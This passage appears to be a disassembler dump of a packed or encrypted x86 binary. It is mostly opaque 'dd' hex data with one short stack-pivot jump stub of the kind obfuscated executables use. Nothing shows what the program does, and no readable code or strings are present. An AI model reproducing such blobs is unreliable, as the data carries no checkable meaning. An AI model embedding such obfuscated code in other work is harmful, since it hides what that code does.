		dd 0EE4F9BA4h, 5FB487B3h, 0FEE731A4h, 24A391Ch,	11DCDAC7h
		dd 94664432h, 0EB7403D9h, 94B53869h, 0EB74A9F1h, 45931E69h
		dd 9C62CEB1h, 4E3E352Eh, 1567073Dh, 1A9E4432h, 15663EBAh
		dd 0C8E67132h, 15746124h, 3B4B4432h, 613C8D01h,	13451009h
		dd 31678A6Bh, 79C5BD49h, 58F8953h, 0EA661132h, 0CE40307h
		dd 6B4D009Fh, 207CF5F1h, 9E48250Ah, 9C33AC2Eh, 11A3C5D7h
		dd 96662232h, 39E115F7h, 759ED416h, 1560C93Dh, 9C692232h
		dd 15661132h, 4535E9CEh, 1566418Ah, 4DA5AB32h, 0FC3DCF33h
		dd 15668835h, 7BB9864Ah, 759AEAD7h, 2719A952h, 0DEE7F61Ah
		dd 159C7E55h, 4707DB53h, 0D869035Ah, 0D7E7D20Bh, 0D354B4DDh
		dd 1EDF2BBh, 11A29016h,	1A668832h, 15664CBBh, 17E62D32h
		dd 75661132h, 156B6153h, 4FB64432h, 1BCAE08Dh, 92CCE723h
		dd 0D67DA08Ah, 0F6EF17CAh, 1562E1B3h, 0FEE71132h, 15668836h
		dd 494258B5h, 0EC422EBBh, 1566A863h, 0FCE78832h, 40124B06h
		dd 0D4E7D333h, 40121E06h, 4C670354h, 1563AC52h,	651E2232h
		dd 0A79D76F5h, 9969D01Eh, 15664430h, 2907E5B9h,	0C7E21EF1h
		dd 0E0668832h, 91698F0Eh, 156622FBh, 1AA42DCEh,	156792B6h
		dd 156EAD32h, 0C8C2232h, 0A6603CF7h, 0DF5AEDE7h, 1463C03Dh
		dd 1D8F2232h, 13661132h, 3CABE05Bh, 73BDD23Fh, 1A43DD0Fh
		dd 156735B6h, 0AF00E832h, 9E00067Eh, 739343E8h,	1A993F0Fh
		dd 1566C3B7h, 0AF34BC32h, 15662230h, 0AC37E333h, 15668832h
		dd 14EC9533h, 469F786Bh, 0A5364085h, 0E3BE7E55h, 0EBB6B2E2h
		dd 119006FAh, 4DA12123h, 0FC3D7012h, 1566443Bh,	0C184C979h
		dd 2EA1A51Ch, 1AC6B458h, 15676DB6h, 14E22D32h, 0E0661132h
		dd 4C42BCCDh, 156280B3h, 1A062232h, 156613BCh, 1AC43932h
		dd 7D079A8Dh, 15662232h, 964215B9h, 0FC938CF6h,	15664587h
		dd 15662ADBh, 2B0FC532h, 572A2BABh, 75AF752Fh, 55209954h
		dd 74B89A54h, 65DB3567h, 0D8E7448Ah, 27A466D4h,	9E66D4B3h
		dd 0FC4F4537h, 0FEC4B6Fh, 75662232h, 0FCA0A63Dh, 15668822h
		dd 96C4DD7Dh, 0E83B130h, 0CE2F8695h, 0FA664B33h, 15BAAD53h
		dd 58F2232h, 87661132h,	39429CD1h, 82A2632Bh, 927814Eh
		dd 404466BCh, 8D59168Fh, 75DC164Ch, 94415B2Bh, 0F440EAC0h
		dd 4FB3A16Bh, 1A3BADBBh, 156623B2h, 7306E932h, 0A1A8F289h
		dd 8E8F25C6h, 75662232h, 0AE90AE3Dh, 5D879C0Ah,	34FFFD53h
		dd 0F4E77ADFh, 13881279h, 0F4A751C5h, 0ECD81236h, 0E22E451Eh
		dd 1080D0ECh, 37616EB3h, 0FBE74472h, 1BA612B8h,	1A38E003h
		dd 156689BFh, 4E8FBD32h, 1A662232h, 156619BDh, 17E78732h
		dd 75664432h, 6E52D53h,	0FC661132h, 1566883Ch, 0F4375C86h
		dd 13007F32h, 5A69A854h, 80E236Fh, 9C66444Dh, 17D80606h
		dd 0E27EFC50h, 7F8009ECh, 0D465714Fh, 5B2021D4h, 0FE31E7B3h
		dd 0E4EF90B2h, 156DAD6Ch, 0E1392232h, 1D227D0Bh, 27165549h
		dd 0B195B16Dh, 156AA23Dh, 128F1132h, 8F668832h,	6C0002F3h
		dd 98ED0545h, 13CE3A67h, 156E0C3Dh, 93694432h, 15662230h
		dd 99697052h, 15668833h, 1AAFC1CEh, 156612B7h, 94347132h
		dd 0E8F6F5F8h, 0AD001D68h, 9C070310h, 0BD4D4487h, 48FE834h
		dd 0D6664432h, 0B845F49Fh, 8F323104h, 0E05A6A71h, 0B9E75C36h
		dd 0E59E9D54h, 3152EE53h, 11A20B6Bh, 15672CCEh,	11ED2232h
		dd 11A29016h, 0FC668832h, 15664437h, 0F0CAED68h, 7393D2ACh
		dd 9400BECDh, 43126006h, 47007A54h, 4312AB54h, 73B6B954h
		dd 156CAD68h, 5D442232h, 48B7D02h, 1A789069h, 9169870Eh
		dd 15662032h, 156D923Dh, 73068832h, 0DBE792B9h,	709FC514h
		dd 156CF853h, 2ED18832h, 3FFAF848h, 0FA8E20E4h,	9DA79963h
		dd 316A03F9h, 0FC6280B1h, 15662222h, 0CBC0FD9Bh, 7DBDE208h
		dd 5F02760Dh, 0E95B7760h, 0EBD4A760h, 0C29008FCh, 41901654h
		dd 4F002316h, 35CFFFB2h, 78FD2C1h, 5E664432h, 1FAE51A0h
		dd 5E103F14h, 0E9158EDFh, 7FBA81Ch, 659DA204h, 16B7953Dh
		dd 29938832h, 94E24BDBh, 1A662233h, 156618B1h, 1A9EE832h
		dd 156644B0h, 95694332h, 15661133h, 1A8DB4C7h, 156727B6h
		dd 14E92D32h, 0EC661132h, 91694A0Eh, 15664566h,	1572A33Dh
		dd 0FD061132h, 15668835h, 14218CB4h, 4A240585h,	4FA3198Bh
		dd 0DE5AE943h, 1454C03Dh, 1C8F2232h, 2E661132h,	4A649F13h
		dd 91DB7FE2h, 30991F54h, 147C953Dh, 92698832h, 15664439h
		dd 156624DBh, 3E9CEA32h, 295D17D6h, 14E24BF8h, 75662233h
		dd 0E271FBB3h, 749FE678h, 9169A70Eh, 15662105h,	15779D3Dh
		dd 198F8832h, 0F0664432h, 0CDEAC65h, 1D3060E9h,	73E4107Fh
		dd 1A996A0Fh, 15664FB7h, 4037ED32h, 0BE698E8Fh,	1A6EFD31h
		dd 0FC4F2199h, 9F97106Fh, 58FD133h, 8B664432h, 0EF0B8CCCh
		dd 0A808F69Fh, 778528ABh, 46B83E7Fh, 0F6E6BD81h, 73B5E73Fh
		dd 3D643862h, 353E22F1h, 1A0679EAh, 7506D78Dh, 15E28753h
		dd 74664432h, 1AC61E53h, 15666AB6h, 0D5E7E832h,	18531415h
		dd 1A07A884h, 156618B3h, 0AE00E832h, 0A269796Dh, 7D3443C5h
		dd 2ECD4144h, 94BC7F68h, 41C9CEC0h, 9EB6ABF6h, 0D1E53526h
		dd 1D8EE836h, 0A9664432h, 0F4CE1E35h, 0FC72918Bh, 15668823h
		dd 0D6DB0CE7h, 83D6122Eh, 0E9A18E52h, 67653110h, 128F1E35h
		dd 20662232h, 4C7F47A2h, 0FC075611h, 156644BCh,	18EC2DCAh
		dd 0FC661132h, 1566883Ah, 0A1FC0389h, 52AD2321h, 3E33A4BBh
		dd 9B698E9Ah, 15664435h, 1567A33Dh, 98931132h, 0BBFE87AFh
		dd 156FAD34h, 5DB22232h, 0C891B9B0h, 0EA5790A6h, 68FB1E1h
		dd 8A662232h, 0DA6E0967h, 490965D8h, 0D023C76h,	94A22BD3h
		dd 0AE35EA92h, 14ECC00Eh, 9461AFF3h, 0FC7DC5D9h, 4DA59052h
		dd 46066E35h, 7F4240B3h, 4D5C9749h, 0A01D7B1Fh,	9369D308h
		dd 1566443Ch, 1561CB52h, 0A1731132h, 0F8E91876h, 0EDA525F0h
		dd 9481AB65h, 156615F5h, 11890B32h, 494278B5h, 0ED4226BBh
		dd 9E7667CDh, 0D1E5AC36h, 90EFB836h, 13CE03CBh,	15661FDBh
		dd 6936BB32h, 0DD70F218h, 448B8E45h, 9E6715CEh,	9C35AC36h
		dd 11A5C5D1h, 96662232h, 9E115F1h, 0FC06D416h, 15664439h
		dd 0FF180272h, 5BD29604h, 738D6F52h, 7482DB8Ah,	1506EA5Ah
		dd 317A9832h, 15669489h, 4EB84532h, 1571AA3Dh, 78F1132h
		dd 4C668832h, 0FDCBF1FDh, 7BF9D352h, 688B3197h,	18F9AE8Fh
		dd 2CDBC90Eh, 0FC608A3Bh, 15661122h, 0A5787BA0h, 8405F726h
		dd 1A65E691h, 521B0DBh,	156F619Fh, 0C5634432h, 185FA553h
		dd 1091BE14h, 5E7B85A8h, 31420031h, 18FC9B63h, 0DD4F5A2Fh
		dd 0BE9F706Bh, 156655DBh, 7D761232h, 0DC30D128h, 51B9F057h
		dd 435717EFh, 989A15FAh, 0BD4BC08Fh, 0EDCB7D34h, 5E37FF61h
		dd 0CD676088h, 31221269h, 5E37A516h, 188F0688h,	0D5662232h
		dd 2E6A9226h, 0D44C910Bh, 0A8B49044h, 1568BE5Ah, 31629832h
		dd 9F697152h, 1566442Ah, 156631DBh, 0B8900B32h,	4D9FE659h
		dd 788DF845h, 0B64F09C7h, 0BA1A52AEh, 156A6153h, 13124432h
		dd 0D871C0E6h, 695CD13Ch, 75CDCCC6h, 43CB9DB2h,	9A01D5B3h
		dd 743F0CD2h, 0A9B35BFh
		dd 0FC06429Ah, 1566223Eh, 0D0A13F8Bh, 0DE082539h, 0F1DF49F8h
		dd 74A0A954h, 1577F89Fh, 5B88832h, 146DDD64h, 0B5FA30A1h
		dd 9BFBE1BEh, 10366D74h, 3B1B5367h, 7127081Fh, 31221278h
		dd 544C8D1Ah, 404B0E56h, 75485F25h, 1A06BA53h, 15668DB5h
		dd 0DFE72232h, 1A31F86Fh, 156611BAh, 0EA07D732h, 96386006h
		dd 9F6926F6h, 15661133h, 7D9A4BCEh, 156646FBh, 0FC4216BBh
		dd 15661138h, 9FFE4D30h, 0F0AE4097h, 48F1CD0h, 0F5661132h
		dd 0E9AE6F6h, 0D1D5834Eh, 0A68805A1h, 75B25D8Fh, 826F15BFh
		dd 9369429Ch, 15662237h, 0E0384152h, 0FCB57753h, 15664426h
		dd 6B522A65h, 0B68E07A4h, 7B7821BFh, 7F0C2704h,	69859899h
		dd 0EA9AE8DBh, 156061CDh, 0B4794432h, 0D573B5AFh, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 0B2C0D5F2h, 96A4EAD6h, 152AA8EDh
		dd 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch, 5E89798Ah
		dd 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah, 152A382Ch
		dd 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah
		dd 60D554A8h, 59D7BA86h, 42F6CE25h, 0DCF14325h,	0BA72E732h
		dd 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah, 60D558DDh, 0BD38C882h
		dd 462CFBFFh, 911DF07h,	0C6D55207h, 0B85E0003h,	152A5492h
		dd 0AEAE3075h, 8FA75CDDh, 570D1272h, 0A6B0D9FBh, 0AEA4EAD2h
		dd 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h, 0BA725032h
		dd 0CB2F168Ch, 13850C1Bh, 142B9675h, 152ABD54h,	0DAC3458Ah
		dd 0D7E3A8EDh, 44BA4582h, 8D000030h, 0AF5E038Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FCCDAB13h, 8D89C38Bh, 6A805B9h, 6E9h, 3E80C300h, 0C7082152h
		dd 0A8146985h, 6F9C06h,	1DD08100h, 0C7529C1Ch, 0A80BBD85h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0F47834F2h, 0B5FFF750h, 6A8298Dh
		dd 5B59E781h, 95FF1B23h, 6A820DDh, 6CEB9CB8h, 0FF006A52h
		dd 0A81B3195h, 0EBC08B06h, 54D72D59h, 65174A73h, 0B5E1CCE6h
		dd 8EF8CCAFh, 13872B7Bh, 0AAE45CAh, 35B5472Ch, 3E269AC9h
		dd 7F8229B8h, 5F2E4145h, 61D8CA2Ch, 9E772A7Fh, 5EF71322h
		dd 6CD62C0Bh, 178C555Bh, 0C13124C7h, 5E4AC833h,	63B1D760h
		dd 0E763490Fh, 0F305E983h, 2CB8BA4h, 0ABA0B859h, 0D9583256h
		dd 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h,	0A958DEDDh
		dd 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h, 0B0C7D8D7h
		dd 835834F8h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0BA17FB23h
		dd 25FBD5EEh, 0FDF53FD5h, 0DAACC0ADh, 0B7342291h, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7352284Ch, 24BCFFA0h
		dd 0F305E983h, 8DDB8BA4h, 0AF8198BDh, 2F8D8D06h, 0B806B009h
		dd 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h,	0E9F67549h
		dd 5, 0FE05F200h, 0EC81F9CBh, 4, 58240489h, 6192B360h
		dd 1ED9BD83h, 750006A8h, 0E9BD8309h, 6A82Dh, 53501974h
		dd 11B8C08Bh, 89000004h, 0A80FD585h, 139D8D06h,	0FF06AAA2h
		dd 83585BD3h, 0A82DE9BDh, 17740006h, 11B85350h,	89000004h
		dd 0A80FD585h, 0B49D8D06h, 0FF06AA9Eh, 0F8585BD3h, 0B6CA8B60h
		dd 816061B6h, 0B089D7F2h, 0FB8B6611h, 5A505261h, 0F5AD089h
		dd 88Fh, 2890F00h, 60000000h, 8D8DF861h, 6B00CE6h, 89F2B70Fh
		dd 0A805B98Dh, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 4E067E24h, 0A564E322h
		dd 48F0F7Eh, 66000000h,	0C75093B8h, 0A8146985h,	699006h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8F0FE45Ah, 14h, 8E8h, 0D99B2900h, 0ED8C8BBFh
		dd 0AD8D8931h, 5F06A816h, 0C3C7BB66h, 0BBD85C7h, 6A8h
		dd 0BD890000h, 6A832A5h, 5233C3BFh, 9B5FF57h, 6606A835h
		dd 8D89FE8Bh, 6A81E49h,	20DD95FFh, 6A06A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 19F89DC3h
		dd 0E1A5E99Bh, 22D2BA66h, 95FF006Ah, 6A81B31h, 68EBC08Bh
		dd 72635F0h, 6C7DC276h,	43AA2A48h, 21AB4772h, 5EA79C27h
		dd 0E32A333Bh, 21BE00ECh, 9908A23Ch, 7401305h, 13042660h
		dd 0CAFFEA51h, 4A66C989h, 0A61F500Ch, 69F162DFh, 0DA140991h
		dd 3500499Ah, 0B748CFB6h, 184A0A94h, 97BC2317h,	0B18B3204h
		dd 76039DCFh, 1AFD46D6h, 0B7ED6243h, 0ADC39C23h, 36AD23D6h
		dd 439A5420h, 14E8h, 0AF785500h, 39761CC9h, 4111934Eh
		dd 0A73D8EC2h, 0F503CA99h, 0D6816661h, 8B58F2B7h, 0A816159Dh
		dd 8DC08106h, 0FC000067h, 19A768h, 37E98100h, 5F3E93C9h
		dd 0B1108BF5h, 78F281BFh, 662BC874h, 0A7AFC381h, 0CA6BEA81h
		dd 8B560ED1h, 0A825E5B5h, 0F2815B06h, 6090118Bh, 52C88B66h
		dd 13E8008Fh, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h
		dd 8A5701E7h, 93BE557Ah, 5E0D6188h, 92BEE881h, 5E87E83h
		dd 0B000000h, 0CE39F60Eh, 20D18D8Bh, 815906A8h,	8392BAC0h
		dd 6E97Eh, 0DC710000h, 9CC2CF50h, 0F01EF83h, 1985h, 6F68100h
		dd 0E969A3C4h, 3Eh, 0EDC475CFh,	459B099h, 277F148Ch, 11E8949Ah
		dd 28000000h, 0ED26EB7Fh, 4BBAC3F3h, 9CFE1CD1h,	0DD1B8BECh
		dd 3411BD89h, 0E95E06A8h, 0FFFFFF4Dh, 38530E1Eh, 0DCC8C5B2h
		dd 0FEAFB719h, 0EDE9BE4Dh, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0A80011B5h, 0FE8306h, 22850Fh, 85C60000h
		dd 6A815D5h, 69696845h,	0B5FF8E72h, 6A831F9h, 6971858Dh
		dd 0D0FF06ABh, 818589h,	0F08B06A8h, 0FE93E80h, 3185h, 0C4858D00h
		dd 0FF06AD7Ch, 25BD8BD0h, 8106A807h, 1184C7h, 11B58B00h
		dd 8706A800h, 8B9F7h, 0A4F30000h, 11B58Bh, 858D06A8h, 6ABA1A1h
		dd 0B58BD0FFh, 6A80DF1h, 0F00FE83h, 2285h, 0D585C600h
		dd 5406A815h, 4EBEF468h, 0F9B5FFFFh, 8D06A831h,	0AB697185h
		dd 89D0FF06h, 0A80DF185h, 80F08B06h, 850FE93Eh,	3Ah, 0DF1B58Bh
		dd 858D06A8h, 6AD7CC4h,	0BD8BD0FFh, 6A80725h, 1184C781h
		dd 0C7830000h, 0F1B58B08h, 8706A80Dh, 8B9F7h, 0A4F30000h
		dd 0DF1B58Bh, 858D06A8h, 6ABA1A1h, 0C361D0FFh, 0E52858Dh
		dd 858906B0h, 6A83379h,	0EE9h, 56F46300h, 43h, 0
		dd 0E9000000h, 4EFh, 0B0108A68h, 6E54E906h, 2F68FFF8h
		dd 0E906B011h, 0FFF86E4Ah, 0B0129568h, 6E40E906h, 0DB7EFFF8h
		dd 86AB1492h, 0BCDC47C3h, 600EB1F5h, 1D3EE125h,	2C4DCA50h
		dd 0B20845E6h, 0EE3C7111h, 0D86E2745h, 99DD477h, 0FD3D4F9Dh
		dd 0C7B607E5h, 5EFF9A81h, 0D76CACDEh, 0FD56AF57h, 0D77BBFC9h
		dd 0EE49AF57h, 54F7A8F5h, 6206E91Dh, 0D79EBA2Bh, 7DC7514Ah
		dd 35D16ACAh, 0FFE22C93h, 0F03D16B5h, 0FFE22E76h, 40E14AB5h
		dd 77DD4632h, 374A114h,	17A0000h, 2143AC22h, 355ACB68h
		dd 96118770h, 0DF699D26h, 0B5FFECACh, 0E309BD96h, 0FFED6159h
		dd 83C523B5h, 0B5FFED87h, 0BFF9D27Dh, 4CE2CDF7h, 0BDF49809h
		dd 77F12770h, 0B36553A8h, 0DC0AB1E3h, 941950F3h, 0BDCF1583h
		dd 0BA0D8672h, 7CBCCE74h, 4EBA0D86h, 0DA66EFF8h, 466979B3h
		dd 0E9C26F26h, 0BD96B8F0h, 0C060EA70h, 8571BE3Dh, 0B6AFEA88h
		dd 4477A562h, 2464A62Eh, 1EBA0D68h, 47635C35h, 0B5A2C405h
		dd 7195BEC0h, 60A6EF8Eh, 33D59CBFh, 0E85705AEh,	2242C3E0h
		dd 75000003h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h,	359E2C69h
		dd 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h,	86CF6ED1h
		dd 446A400h, 0B607E704h, 0BA93B8FEh, 0D6AEEA1Ch, 16B0AF57h
		dd 0AF57D712h, 248747F0h, 0B3E44900h, 82CB69DAh, 1BAC0C1Dh
		dd 0A2E402B9h, 0B607E6B6h, 0D907A38Ch, 7E76BAFh, 0BAFE59B6h
		dd 5AEC0AB0h, 0B607E75Eh, 2AD0B24h, 359E2C61h, 62B9414h
		dd 5CDDE43h, 0B607E705h, 367B54FFh, 7E6EF34h, 0F67F1B6h
		dd 0D9A74F1Fh, 16FB68D7h, 1AF3ED64h, 3B72119Eh,	4A7FE8Dh
		dd 22A300F3h, 27Dh, 5AE0A9D0h, 951154F9h, 0C3470E2Ah, 33773260h
		dd 64A2EF90h, 1738DA9Fh, 0C363CC5Ah, 0F597388Eh, 0A6C56EBCh
		dd 19C35BEFh, 7E7ABEFh,	0F45399B6h, 0D80EB5E7h,	7E6BAAEh
		dd 2343ACB6h, 0E72119A3h, 48E3B607h, 1C37D95Fh,	20640EEh
		dd 0A1B607E7h, 3364C98Ch, 0B31098B3h, 7E76BABh,	3AC07B6h
		dd 6FC21BF7h, 1CCE214h,	0FF450000h, 5288155Ch, 169BD271h
		dd 690C9305h, 7519FA20h, 0A912F830h, 0F00AB00Bh, 0B5FFF58Dh
		dd 7D345477h, 0D7DF1F84h, 0CCB5FFF4h, 81B9E6ABh, 15C62398h
		dd 2F43A4B2h, 0D249C56Ah, 0F55EC251h, 0B6322E2Ch, 3DD51477h
		dd 6E000000h, 0D80EB5E7h, 7C3151B2h, 0B4B2E637h, 0B6000559h
		dd 0F9DA002Bh, 6CACDE5Ah, 56B60005h, 8E9F04FDh,	75B1B92Ah
		dd 11B60005h, 0DF9F9BAh, 0E81477F8h, 0C3h, 3D7011F2h, 2A71A7F0h
		dd 0BC3459BAh, 57D70E0Ah, 625BF4AFh, 0E34CEC3Dh, 0ADE08140h
		dd 0F13E1700h, 5989E375h, 39B1F8A0h, 91074978h,	83206D0Eh
		dd 26551567h, 0F79EE005h, 0F2261F5Ah, 0DA470E2Dh, 49EB2A49h
		dd 0B4ADE488h, 0C1453E6Fh, 5853DD07h, 0EEA7C6AFh, 0F64DEF58h
		dd 0F387B6D0h, 0D27DB602h, 0E7AACB34h, 0ED1F45A3h, 0B602F2ADh
		dd 0B37CBC97h, 9C29DF92h, 0FEF309B5h, 117443Dh,	0CF6A0000h
		dd 0F29F0086h, 0A8D073B7h, 54FAA5E1h, 92A9511h,	3879C644h
		dd 0B6F4B9DAh, 9A206D0Dh, 0D4521B39h, 581C86Bh,	901BBA1h
		dd 0FBB607E9h, 5EFF96BDh, 86699713h, 0A00FA9E4h, 8876B4FDh
		dd 0EB480127h, 0BA3D66B2h, 57F83559h, 0AB84951Ah, 0C855183Ah
		dd 0B7D659DFh, 4AE7C8FEh, 693AA90Fh, 396783CAh,	57D78B8Fh
		dd 5ADE79AFh, 5EE557F0h, 26C51EA8h, 94BFB600h, 0A6EF8D76h
		dd 62882079h, 2C6C9EC4h, 16B60027h, 1334FB3Dh, 0E91FB7D6h
		dd 971D6944h, 4D5EC3BCh, 0F034D654h, 0B3B60055h, 7B325190h
		dd 0DE0CE536h, 0EEB1709Ch, 0F6EBAD6Bh, 2D4D8525h, 6821447Bh
		dd 88F9D2CBh, 860CACE5h, 95B97C1Dh, 87C26FD0h, 8B28011Ah
		dd 483Ah, 30BA1D00h, 0C455CA25h, 42C55348h, 0BBD69D2h
		dd 0B608B45Bh, 0A10E29h, 2D96145Dh, 10DA470Eh, 0FBEF94BCh
		dd 0B8BF60D5h, 7F325495h, 0FC9F0086h, 9BB768B5h, 258E51DEh
		dd 9FD6757Ch, 0CC85A80Bh, 39E67h, 0B0B90000h, 1158FFCBh
		dd 3970138Ch, 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh
		dd 0A2E78B14h, 0CD84A47Dh, 0D792BF60h, 8950FA4Ah, 405E0h
		dd 0E8830000h, 24048704h, 2404895Ch, 81E68956h,	4C6h, 4EE8300h
		dd 5C243487h, 51242C89h, 0C181E189h, 4,	8704E983h, 895C240Ch
		dd 0BA522434h, 6B00F81h, 148BD589h, 4C48324h, 24348B54h
		dd 4C481h, 8F550000h, 348B0846h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 242C8B5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0D3h, 8Dh, 0B8h
		dd 6B013D1h, 0E0FFC503h, 386FD709h, 0BB16A2h, 6C8B4C93h
		dd 77E59785h, 47D24EE6h, 4642C7ECh, 11456815h, 28CBD68Eh
		dd 62076D4Eh, 481395Ah,	530ECACDh, 8111393h, 49438C9Eh
		dd 4A2BB5E6h, 16379CB7h, 35CB8C72h, 64AE3C73h, 79BE9A28h
		dd 0A9DFD4Ch, 730E4CD1h, 5495939Fh, 54CCB80Eh, 1413A102h
		dd 48320FF0h, 6FD77A73h, 4F959426h, 15600EE5h, 32CDB870h
		dd 13E8h, 0F3ECC400h, 875D13B0h, 0F9DA0D25h, 62B2EFACh
		dd 3AA94146h, 6E9h, 41292900h, 5B6FA8AAh, 81CFBF0Fh, 7587C3h
		dd 5E900h, 6BE70000h, 337C4E18h, 0C0B70FD2h, 0E91A34FFh
		dd 0Ah,	0E66F37E0h, 0B856A1F6h,	665E2A91h, 3F46CF81h, 0C8E8EE81h
		dd 840F1A08h, 6, 8A0Fh,	0C6810000h, 0A0C9160h, 0EE81F88Bh
		dd 767A8F1h, 13E8h, 0A9F9D100h,	0F3A3E6C2h, 0DF77A139h
		dd 2CA0FC0Dh, 0B3F74E15h, 34895FFCh, 5AB9F513h,	835DB721h
		dd 8B6602EAh, 0F4A4AC3h, 0FA81FBB7h, 0FFFF8B24h, 0FF8E850Fh
		dd 0CF81FFFFh, 1C5D7F1Bh, 1AE9h, 748B9400h, 18h, 4 dup(0)
		dd 0E9000000h, 4D7h, 36743D5Ch,	61A5E08Dh, 57D39ABEh, 870346ECh
		dd 0F0367B1Ch, 0ABCC466Bh, 5FFFA0E6h, 92B9412h,	3A59FA40h
		dd 0B5B73773h, 7EC1713h, 80AFEDB6h, 0F1155CFFh,	0FEA4F67h
		dd 0F4249C95h, 0A0ED8E17h, 5B9AB91Ah, 0FB2C7138h, 61049D02h
		dd 751A8B28h, 0DA00F330h, 8F1459F9h, 0A11A9Eh, 0F7135AF9h
		dd 0F721680Ch, 0CB82A20Dh, 0F9B0D47Fh, 94CE2CDh, 462573A4h
		dd 0B3F0BDDDh, 979E07ACh, 0C56EBCF5h, 0B842EFA6h, 0AF58517Dh
		dd 4B47E8CFh, 12DFAC5Fh, 8BBEh,	5CFF8100h, 6FB4F19Dh, 1ED8453Eh
		dd 0AF57D718h, 0E0AC7562h, 0D70800BAh, 0ACDEAF57h, 0AF57D76Ch
		dd 42EDFD56h, 0D65642D6h, 1B112DFh, 8A000000h, 0F31752FFh
		dd 0D6F73355h, 0E5C5AF57h, 0DD15955Eh, 0AF0922A4h, 6ACE633Ch
		dd 85FCFB7Eh, 0F63B14E9h, 0A644012Dh, 0D2ACFE78h, 502EC1AAh
		dd 58BF72B6h, 0B1E750AFh, 793C51D2h, 84CD6B34h,	0AFE6861Fh
		dd 0CDE62902h, 75305D64h, 9706FF28h, 0D9767D26h, 0FFE00E9Ch
		dd 1A85135Eh, 0CFF4327Bh, 8E135EFFh, 0F03D7815h, 7D8F0F2Fh
		dd 0AF57D73Dh, 0EE332C07h, 0D15E1735h, 7DFCA50Eh, 0B4F8B912h
		dd 0D6BCFC0Eh, 0AD86AF57h, 4683A40Bh, 2B7F6825h, 7ACE588h
		dd 6EB3FA9Eh, 54D994B5h, 0E6CE78A2h, 0A001B872h, 0AC6AB7F2h
		dd 812FAE77h, 6D89892Ah, 6812DF8Ah, 68h, 135EFFB3h, 3A73158Eh
		dd 41082CF5h, 682143DCh, 6AF04CBh, 0EEB72477h, 0BF0B46E7h
		dd 0F13E7314h, 0AECF0230h, 0B96DBEE3h, 57D70B0Fh, 655EF9AFh
		dd 32F35838h, 0DFD4C420h, 75C312h, 0BA640000h, 0D6AEEA1Ch
		dd 0BB94AF57h, 0DC91B27Dh, 6FAECE57h, 256C0CCDh, 0DDB6AFF8h
		dd 0EA4B2050h, 0BEE42E3h, 0EDC24B86h, 5227851h,	0F31752FFh
		dd 5CE10355h, 60CCD191h, 582162A6h, 0C6C204AFh,	0BCAF5820h
		dd 93355393h, 0AF582197h, 4FE9C26Dh, 211B1ADCh,	7B61AF58h
		dd 7DBBF698h, 211D1D86h, 0EC12DF9Ch, 0BA7CBC6Ah, 71D2A843h
		dd 21B98DDh, 16496h, 0FFBF0000h, 4CEA1059h, 57D6FE3Ah
		dd 0C885A5AFh, 289B1D36h, 109DD477h, 7FA4ED8Fh,	0D76159E3h
		dd 823AF57h, 77BCF597h,	0D75951EBh, 2BAF57h, 444BD4C1h
		dd 0E8C16E23h, 3AFBD0FFh, 0CE5C1533h, 4664DF7Dh, 0FFE3A504h
		dd 6FB49FB5h, 325697B6h, 9B04827Bh, 521B39F8h, 971C51F1h
		dd 0C600AD86h, 0B5FFE3C0h, 0F7FEA70Ch, 26891D54h, 5E14E07h
		dd 0DF0E9FF3h, 6DCB192Ch, 45EAA3C2h, 0C1C869C2h, 0FF5FEBA2h
		dd 14772B03h, 11CEAh, 0B5E73D00h, 23AED80Eh, 0E1B60007h
		dd 1538E936h, 0B6FBBED4h, 0DD1F6D65h, 9B3EFC5Fh, 7CFE64A2h
		dd 2A8D1ACDh, 0C06FC998h, 0CD36D49Dh, 0D4B7E1ACh, 0CC89A50Eh
		dd 3DE23667h, 47CA571Eh, 0DD7B45EEh, 556FABh, 0BEFA55B6h
		dd 8F1B52F1h, 77A8332Fh, 4FDA14h, 0E76D0000h, 0ADDF0BB6h
		dd 2F57D74Dh, 57971C37h, 2F57D753h, 39662350h, 0D79F9B2Dh
		dd 0CA652F57h, 29763F59h, 0EE6D366Dh, 73723368h, 394367C2h
		dd 0AF57D6E1h, 0EB2F5987h, 0D9AF57D6h, 3B143A7Eh, 0C100248Fh
		dd 5344E9ACh, 0CB543E7Ah, 79h, 0EB5E7EEh, 0F938B2D8h, 0A5D279B5h
		dd 5E313761h, 24B6007Bh, 5EFDA60Bh, 0D309317h, 0A003DF44h
		dd 3556B7F2h, 0ED363078h, 59B6007Bh, 0ABCAD152h, 0B1E3A4E2h
		dd 7C8585C7h, 0D47FB600h, 0FDBDCFFBh, 0E3BCB091h, 8A175200h
		dd 5EF90791h, 642D50D1h, 1293383Fh, 0FC92A113h,	8BAB74B9h
		dd 574059C6h, 7A3E487Eh, 6CC360A7h, 1AEE383h, 330DE28h
		dd 0D726E2Eh, 7CCA65ABh, 3F59BA57h, 37652276h, 4D1C5E8Ch
